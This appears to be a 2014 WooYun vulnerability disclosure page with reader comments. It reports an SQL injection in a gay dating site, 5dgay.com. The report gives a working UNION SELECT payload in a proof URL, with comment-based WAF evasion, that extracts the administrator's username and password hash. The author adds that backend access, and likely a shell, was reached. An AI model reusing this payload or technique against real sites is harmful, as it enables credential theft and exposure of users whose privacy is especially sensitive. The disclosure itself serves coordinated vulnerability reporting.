当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-069745

漏洞标题：全球最大同性交友网全站用户数据告急(过狗直捣后台)

相关厂商：5dgay.com

漏洞作者： 浩天

提交时间：2014-07-28 19:41

修复时间：2014-09-11 19:42

公开时间：2014-09-11 19:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-28： 细节已通知厂商并且等待厂商处理中
2014-07-28： 厂商已经确认，细节仅向厂商公开
2014-08-07： 细节向核心白帽子及相关领域专家公开
2014-08-17： 细节向普通白帽子公开
2014-08-27： 细节向实习白帽子公开
2014-09-11： 细节向公众公开

简要描述：

这是一个特殊的群体，用户数据的隐私性更强。
号称全球最大的同性交友网站！！！！
这不应该是一个案例，更像是基础教学！！

详细说明：

0.jpg


存在sql注入，有狗，工具不咋好使，手工吧，不然封你ip

a.jpg


b.jpg


c.jpg


d.jpg

漏洞证明：

e.jpg


f.jpg


g.jpg


h.jpg


i.jpg


j.jpg


k.jpg


l.jpg


证明地址：
http://www.5dgay.com/jsjb.php?id=34/**/LIMIT/**/1,1/**/UNION/**/ALL/**/SELECT/**/1,2,CONCAT%28UID,0x3A,USERNAME,0x3A,PASSWORD%29,4/**/FROM/**/5DGAY99.WANEJY_MEMBER/**/WHERE/**/UID=1#
md5你自己解吧

修复方案：

图有点多，进后台，就没再继续了，应该可以shell
其他涉及支付接口、个人隐私未动，未脱裤
虽然你远在大洋彼岸，但大多用的都是中国人吖
这个群体的隐私比普通人更重要

版权声明：转载请注明来源 浩天@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-07-28 19:53

厂商回复：

万分感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-26 00:07 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    同志，你好！

  2. 2014-07-26 00:08 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    同志，你好！

  3. 2014-07-26 01:14 | superwbd ( 路人 | Rank:15 漏洞数:6 | 一个不懂技术的黑客。。。)

    我还以为是Acfun。。。。。。

  4. 2014-07-26 05:30 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    同志，你好！

  5. 2014-07-26 09:24 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    同志，你好！

  6. 2014-07-26 09:41 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    看标题还以为是乌云呢

  7. 2014-07-26 10:18 | 熊猫先生 ( 路人 | Rank:16 漏洞数:10 | BY黑豆豆　ＶＳ　熊猫先生)

    同志，你好！

  8. 2014-07-26 10:25 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    5dgay.com

  9. 2014-07-26 16:39 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    gay你好

  10. 2014-07-27 11:09 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    同志，你好！

  11. 2014-07-27 12:51 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    同志，你好！

  12. 2014-07-27 21:33 | Jack.Chalres ( 实习白帽子 | Rank:39 漏洞数:15 | ..............)

    同志，你好！

  13. 2014-07-27 23:25 | 小色 ( 路人 | Rank:0 漏洞数:1 | 撸的一手好管)

    同志，你好！ 天津男人海洋欢迎您.....

  14. 2014-07-28 07:01 | 芙兰朵露斯卡雷特 ( 路人 | Rank:4 漏洞数:4 | 看我闪现逃走闪现逃走六不六)

    看标题还以为B站呢...

  15. 2014-07-28 16:38 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    同性朋友。

  16. 2014-07-28 20:32 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    汗水..

  17. 2014-07-28 21:15 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    同志 ，你好！

  18. 2014-07-28 23:15 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱，如果不服你TM来打我啊--哎呀...)

    同志 ，你好！

  19. 2014-07-29 00:10 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    同志 ，你好！

  20. 2014-07-29 01:39 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    同志 ，你好！

  21. 2014-07-29 04:29 | 杨聪 ( 路人 | Rank:0 漏洞数:1 | 新手上路，多多照顾，)

    原来楼主也是志同道合的友人 好同志

  22. 2014-07-29 08:42 | 无力落地の白 ( 实习白帽子 | Rank:48 漏洞数:19 | 新人)

    同志，你好

  23. 2014-07-29 09:12 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光，在还未发光之前，先打磨打...)

    我在好奇，lz 怎么想到这个站的？

  24. 2014-07-29 09:14 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全，提高技术！)

    厂商碉堡了

  25. 2014-07-29 09:20 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    平时去习惯了吗，有俩女的的相关内容？

  26. 2014-07-29 09:24 | Walle ( 路人 | Rank:0 漏洞数:5 | ... 位卑、未敢忘忧国！ ...)

    如何过狗

  27. 2014-07-29 09:43 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    感谢 浩天 WooYun 对 同志朋友 的信息安全作出的贡献。。。。亮点自己找

  28. 2014-07-29 09:59 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    革命尚未完成，同志仍需努力 @wefgod @泳少 @郭斯特 欢迎来搞(稿)

  29. 2014-07-29 11:19 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)

    @浩天 天哥就是吊！

  30. 2014-07-29 11:49 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    厂商说要给我发礼物，会是什么，大洋彼岸邮寄过来了？？好期待哦

  31. 2014-07-29 15:05 | 命途多舛 ( 路人 | Rank:29 漏洞数:9 | 找不到漏洞啊！！！！)

    是不是搞草榴也可以报？

  32. 2014-07-29 17:33 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @命途多舛 你可以报，后台可以审，但是一定不过

  33. 2014-08-20 11:42 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    我草

  34. 2014-08-20 11:46 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @wefgod 你看你这第一反应

  35. 2014-08-22 08:18 | Walle ( 路人 | Rank:0 漏洞数:5 | ... 位卑、未敢忘忧国！ ...)

    还有比乌云更大的同性交友网？

  36. 2014-08-22 09:09 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    没有 @Walle

  37. 2014-09-01 08:22 | 紫藤居士 ( 实习白帽子 | Rank:43 漏洞数:8 | 我是来向大神们学习的)

    厂商碉堡了

  38. 2014-09-02 20:15 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ，菜渣， 菜呀！)

    碉堡了 厂商 碉堡了 浩哥

  39. 2014-09-11 19:57 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井，架工，木工，电工，水暖工，力...)

    同志 你好！

  40. 2014-09-11 20:50 | wellsun ( 路人 | Rank:0 漏洞数:1 | www.wellsun.com)

    诚心诚信RMB收购乌云币~ 价格加Q谈：7520024 （加者备注）

  41. 2014-09-11 22:07 | RainShine ( 路人 | Rank:2 漏洞数:4 )

    @Walle 亮了

  42. 2014-09-14 01:08 | 大风对我说 ( 路人 | Rank:6 漏洞数:2 | 酱油党)

    你好，同志

  43. 2014-09-17 10:56 | 杨聪 ( 路人 | Rank:0 漏洞数:1 | 新手上路，多多照顾，)

    厂商说要给我发礼物，会是什么，大洋彼岸邮寄过来了？？好期待哦 目测会送一个美国爷们 楼主同志 你性福了

  44. 2014-09-18 13:09 | outman ( 路人 | Rank:2 漏洞数:2 | 网络安全爱好者)

    同志，辛苦了

  45. 2014-10-01 15:06 | 云云 ( 路人 | Rank:0 漏洞数:2 | 我就一个马甲还要填信息？)

    我以为是github.com

  46. 2015-05-30 21:01 | 無名老人 ( 路人 | Rank:15 漏洞数:3 | 干过开发，日过渗透，江湖人称： 少女杀手)

    你会什么会搜 同性交友， 嘿嘿，我什么都不知道

  47. 2015-08-21 22:45 | ChristopereRussell ( 路人 | Rank:1 漏洞数:1 | 高中生一只，爱好计算机)

    同志，你好

  48. 2015-08-25 16:25 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    我还以为是 gayhub